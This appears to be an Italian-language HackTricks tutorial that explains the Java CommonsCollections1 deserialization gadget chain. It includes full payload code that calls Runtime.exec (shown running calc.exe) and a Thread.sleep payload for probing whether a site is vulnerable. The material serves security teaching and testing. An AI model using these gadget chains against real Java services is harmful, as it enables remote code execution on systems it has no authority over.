CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Java Transformers per Rutime exec()

In diversi punti è possibile trovare un payload di deserializzazione Java che utilizza transformers da Apache common collections come il seguente:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Se non si conosce nulla sui payload di deserializzazione Java, potrebbe essere difficile capire perché questo codice eseguirà una calcolatrice.

Innanzitutto, è necessario sapere che un Transformer in Java è qualcosa che riceve una classe e la trasforma in un'altra. Inoltre, è interessante sapere che il payload che viene eseguito qui è equivalente a:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

O più precisamente, ciò che verrà eseguito alla fine sarà:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Come

Quindi, come il primo payload presentato è equivalente a quei "semplici" one-liner?

Prima di tutto, puoi notare nel payload che viene creato una catena (array) di trasformazioni:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Se leggi il codice, noterai che se concateni in qualche modo la trasformazione dell'array, potrai eseguire comandi arbitrari.

Quindi, come vengono concatenati questi trasformatori?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Nella sezione finale del payload è possibile vedere che viene creato un oggetto Map. Successivamente, la funzione decorate viene eseguita da LazyMap con l'oggetto mappa e i transformers concatenati. Dal codice seguente è possibile notare che ciò causerà la copia dei transformers concatenati all'interno dell'attributo lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

E poi viene eseguito il grande finale: lazyMap.get("anything");

Questo è il codice della funzione get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

E questo è il codice della funzione transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Quindi, ricordate che all'interno della factory avevamo salvato chainedTransformer e all'interno della funzione transform stiamo attraversando tutti quei transformers concatenati ed eseguendoli uno dopo l'altro. La cosa divertente è che ogni transformer utilizza object come input e l'oggetto è l'output dell'ultimo transformer eseguito. Pertanto, tutte le trasformazioni sono concatenate eseguendo il payload malevolo.

Riassunto

Alla fine, a causa del modo in cui lazyMap gestisce i transformers concatenati all'interno del metodo get, è come se stessimo eseguendo il seguente codice:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Nota come value sia l'input di ogni trasformazione e l'output della trasformazione precedente, consentendo l'esecuzione di un'unica riga di codice:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Si noti che qui sono stati spiegati i gadget utilizzati per il payload ComonsCollections1. Ma non è stato spiegato come tutto ciò inizia ad eseguirsi. Puoi vedere qui che ysoserial, per eseguire questo payload, utilizza un oggetto AnnotationInvocationHandler perché quando questo oggetto viene deserializzato, verrà invocata la funzione payload.get() che eseguirà l'intero payload.

Java Thread Sleep

Questo payload potrebbe essere utile per identificare se il sito web è vulnerabile in quanto eseguirà un ritardo se lo è.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Altri gadget

Puoi trovare altri gadget qui: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Last updated